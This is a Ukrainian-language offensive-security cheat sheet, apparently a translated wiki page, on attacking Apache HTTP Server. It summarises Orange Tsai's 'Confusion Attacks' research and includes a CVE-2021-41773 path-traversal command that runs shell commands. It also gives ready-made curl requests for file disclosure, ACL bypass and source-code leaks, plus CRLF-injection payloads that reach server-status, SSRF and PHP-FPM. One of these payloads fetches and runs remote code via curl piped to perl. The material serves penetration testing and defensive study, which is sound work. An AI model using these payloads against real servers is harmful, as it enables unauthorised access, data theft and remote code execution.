Apache

Reading time: 10 minutes

Виконувані PHP розширення

Перевірте, які розширення виконує сервер Apache. Щоб їх знайти, ви можете виконати:

grep -R -B1 "httpd-php" /etc/apache2

Також деякі місця, де ви можете знайти цю конфігурацію, це:

/etc/apache2/mods-available/php5.conf
/etc/apache2/mods-enabled/php5.conf
/etc/apache2/mods-available/php7.3.conf
/etc/apache2/mods-enabled/php7.3.conf

CVE-2021-41773

curl http://172.18.0.15/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; id; uname'
uid=1(daemon) gid=1(daemon) groups=1(daemon)
Linux

Confusion Attack

Ці типи атак були представлені та задокументовані компанією Orange у цьому блозі, і нижче наведено резюме. Атака "confusion" в основному зловживає тим, як десятки модулів, які працюють разом, створюючи Apache, не працюють ідеально синхронізовано, і змушуючи деякі з них змінювати деякі неочікувані дані може викликати вразливість у наступному модулі.

Filename Confusion

Truncation

mod_rewrite обрізає вміст r->filename після символу ? (modules/mappers/mod_rewrite.c#L4141). Це не зовсім неправильно, оскільки більшість модулів буде розглядати r->filename як URL. Але в інших випадках це буде розглядатися як шлях до файлу, що може викликати проблему.

• Path Truncation

Можна зловживати mod_rewrite, як у наступному прикладі правила, щоб отримати доступ до інших файлів у файловій системі, видаляючи останню частину очікуваного шляху, просто додавши ?:

RewriteEngine On
RewriteRule "^/user/(.+)$" "/var/user/$1/profile.yml"

# Expected
curl http://server/user/orange
# the output of file `/var/user/orange/profile.yml`

# Attack
curl http://server/user/orange%2Fsecret.yml%3F
# the output of file `/var/user/orange/secret.yml`

• Помилкове призначення RewriteFlag

У наступному правилі переписування, поки URL закінчується на .php, він буде оброблятися та виконуватися як php. Тому можливо надіслати URL, який закінчується на .php після символу ?, завантажуючи при цьому в шлях інший тип файлу (наприклад, зображення) з шкідливим php-кодом всередині:

RewriteEngine On
RewriteRule  ^(.+\.php)$  $1  [H=application/x-httpd-php]

# Attacker uploads a gif file with some php code
curl http://server/upload/1.gif
# GIF89a <?=`id`;>

# Make the server execute the php code
curl http://server/upload/1.gif%3fooo.php
# GIF89a uid=33(www-data) gid=33(www-data) groups=33(www-data)

ACL Bypass

Можливо отримати доступ до файлів, до яких користувач не повинен мати доступ, навіть якщо доступ має бути заборонений з такими конфігураціями:

<Files "admin.php">
AuthType Basic
AuthName "Admin Panel"
AuthUserFile "/etc/apache2/.htpasswd"
Require valid-user
</Files>

Це пов'язано з тим, що за замовчуванням PHP-FPM отримуватиме URL-адреси, що закінчуються на .php, такі як http://server/admin.php%3Fooo.php, і оскільки PHP-FPM видалить усе після символу ?, попередня URL-адреса дозволить завантажити /admin.php, навіть якщо попереднє правило забороняло це.

DocumentRoot Confusion

DocumentRoot /var/www/html
RewriteRule  ^/html/(.*)$   /$1.html

Цікава деталь про Apache полягає в тому, що попередній перепис намагатиметься отримати доступ до файлу як з documentRoot, так і з кореня. Отже, запит до https://server/abouth.html перевірить наявність файлу в /var/www/html/about.html та /about.html у файловій системі. Це, по суті, може бути використано для доступу до файлів у файловій системі.

Розкриття вихідного коду на стороні сервера

• Розкрити вихідний код CGI

Просто додавання %3F в кінці достатньо, щоб розкрити вихідний код модуля cgi:

curl http://server/cgi-bin/download.cgi
# the processed result from download.cgi
curl http://server/html/usr/lib/cgi-bin/download.cgi%3F
# #!/usr/bin/perl
# use CGI;
# ...
# # the source code of download.cgi

• Розкриття вихідного коду PHP

Якщо сервер має різні домени, один з яких є статичним доменом, це можна використати для обходу файлової системи та витоку коду php:

# Leak the config.php file of the www.local domain from the static.local domain
curl http://www.local/var/www.local/config.php%3F -H "Host: static.local"
# the source code of config.php

Маніпуляція локальними гаджетами

Головна проблема з попередньою атакою полягає в тому, що за замовчуванням більшість доступу до файлової системи буде заборонено, як у шаблоні конфігурації Apache HTTP Server:

<Directory />
AllowOverride None
Require all denied
</Directory>

Однак, операційні системи Debian/Ubuntu за замовчуванням дозволяють /usr/share:

<Directory /usr/share>
AllowOverride None
Require all granted
</Directory>

Отже, було б можливим зловживати файлами, розташованими всередині /usr/share в цих дистрибутивах.

Локальний гаджет для розкриття інформації

• Apache HTTP Server з websocketd може відкрити скрипт dump-env.php за адресою /usr/share/doc/websocketd/examples/php/, що може призвести до витоку чутливих змінних середовища.
• Сервери з Nginx або Jetty можуть розкрити чутливу інформацію веб-додатків (наприклад, web.xml) через свої стандартні веб-корені, розташовані під /usr/share:
• /usr/share/nginx/html/
• /usr/share/jetty9/etc/
• /usr/share/jetty9/webapps/

Локальний гаджет для XSS

• На Ubuntu Desktop з встановленим LibreOffice, експлуатація функції перемикання мови довідкових файлів може призвести до Cross-Site Scripting (XSS). Маніпулювання URL за адресою /usr/share/libreoffice/help/help.html може перенаправити на шкідливі сторінки або старі версії через небезпечне правило переписування.

Локальний гаджет для LFI

• Якщо встановлені PHP або певні фронтенд-пакети, такі як JpGraph або jQuery-jFeed, їх файли можуть бути використані для читання чутливих файлів, таких як /etc/passwd:
• /usr/share/doc/libphp-jpgraph-examples/examples/show-source.php
• /usr/share/javascript/jquery-jfeed/proxy.php
• /usr/share/moodle/mod/assignment/type/wims/getcsv.php

Локальний гаджет для SSRF

• Використовуючи magpie_debug.php з MagpieRSS за адресою /usr/share/php/magpierss/scripts/magpie_debug.php, можна легко створити вразливість SSRF, що надає доступ до подальших експлойтів.

Локальний гаджет для RCE

• Можливості для Remote Code Execution (RCE) величезні, з вразливими установками, такими як застарілий PHPUnit або phpLiteAdmin. Їх можна експлуатувати для виконання довільного коду, демонструючи широкий потенціал маніпуляцій з локальними гаджетами.

Джейнбрейк з локальних гаджетів

Також можливо здійснити джейнбрейк з дозволених папок, слідуючи символічним посиланням, створеним встановленим програмним забезпеченням у цих папках, такими як:

• Cacti Log: /usr/share/cacti/site/ -> /var/log/cacti/
• Solr Data: /usr/share/solr/data/ -> /var/lib/solr/data
• Solr Config: /usr/share/solr/conf/ -> /etc/solr/conf/
• MediaWiki Config: /usr/share/mediawiki/config/ -> /var/lib/mediawiki/config/
• SimpleSAMLphp Config: /usr/share/simplesamlphp/config/ -> /etc/simplesamlphp/

Більше того, зловживаючи символічними посиланнями, було можливим отримати RCE в Redmine.

Handler Confusion

Цей напад експлуатує перетин функціональності між директивами AddHandler та AddType, які обидві можуть бути використані для увімкнення обробки PHP. Спочатку ці директиви впливали на різні поля (r->handler та r->content_type відповідно) у внутрішній структурі сервера. Однак, через застарілий код, Apache обробляє ці директиви взаємозамінно за певних умов, перетворюючи r->content_type на r->handler, якщо перше встановлено, а друге - ні.

Більше того, в Apache HTTP Server (server/config.c#L420), якщо r->handler порожній перед виконанням ap_run_handler(), сервер використовує r->content_type як обробник, ефективно роблячи AddType та AddHandler ідентичними за ефектом.

Перезаписати обробник для розкриття PHP вихідного коду

У цьому виступі була представлена вразливість, де неправильний Content-Length, надісланий клієнтом, може призвести до того, що Apache помилково поверне PHP вихідний код. Це сталося через проблему обробки помилок з ModSecurity та Apache Portable Runtime (APR), де подвоєна відповідь призводить до перезапису r->content_type на text/html.
Оскільки ModSecurity не обробляє належним чином значення повернення, він поверне PHP код і не інтерпретує його.

Перезаписати обробник для XXXX

TODO: Orange ще не розкрив цю вразливість

Виклик довільних обробників

Якщо зловмисник може контролювати заголовок Content-Type у відповіді сервера, він зможе викликати довільні модульні обробники. Однак, на момент, коли зловмисник контролює це, більшість процесу запиту буде завершено. Однак, можливо перезапустити процес запиту, зловживаючи заголовком Location, оскільки якщо returned Status дорівнює 200 і заголовок Location починається з /, відповідь обробляється як серверна редирекція і повинна бути оброблена.

Згідно з RFC 3875 (специфікація про CGI) у Розділі 6.2.2 визначається поведінка локальної редирекції відповіді:

CGI-скрипт може повернути URI шлях і рядок запиту (‘local-pathquery’) для локального ресурсу в заголовку Location. Це вказує серверу, що він повинен повторно обробити запит, використовуючи вказаний шлях.

Отже, для виконання цього нападу потрібна одна з наступних вразливостей:

• CRLF Injection у заголовках відповіді CGI
• SSRF з повним контролем заголовків відповіді

Довільний обробник для розкриття інформації

Наприклад, /server-status повинен бути доступний лише локально:

<Location /server-status>
SetHandler server-status
Require local
</Location>

Можливо отримати доступ, встановивши Content-Type на server-status і заголовок Location, що починається з /

http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo %0d%0a
Content-Type:server-status %0d%0a
%0d%0a

Випадковий обробник до повного SSRF

Перенаправлення до mod_proxy для доступу до будь-якого протоколу за будь-якою URL:

http://server/cgi-bin/redir.cgi?r=http://%0d%0a
Location:/ooo %0d%0a
Content-Type:proxy:
http://example.com/%3F
%0d%0a
%0d%0a

Однак заголовок X-Forwarded-For додається, що заважає доступу до кінцевих точок метаданих хмари.

Довільний обробник для доступу до локального сокета Unix Domain

Доступ до локального сокета Unix Domain PHP-FPM для виконання PHP бекдору, розташованого в /tmp/:

http://server/cgi-bin/redir.cgi?r=http://%0d%0a
Location:/ooo %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/tmp/ooo.php %0d%0a
%0d%0a

Випадковий обробник для RCE

Офіційний PHP Docker образ включає PEAR (Pearcmd.php), інструмент управління пакетами PHP через командний рядок, який можна зловживати для отримання RCE:

http://server/cgi-bin/redir.cgi?r=http://%0d%0a
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}
orange.tw/x|perl
) %2b alltests.php %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
%0d%0a

Перевірте Docker PHP LFI Summary, написаний Phith0n для деталей цієї техніки.

Посилання

• https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1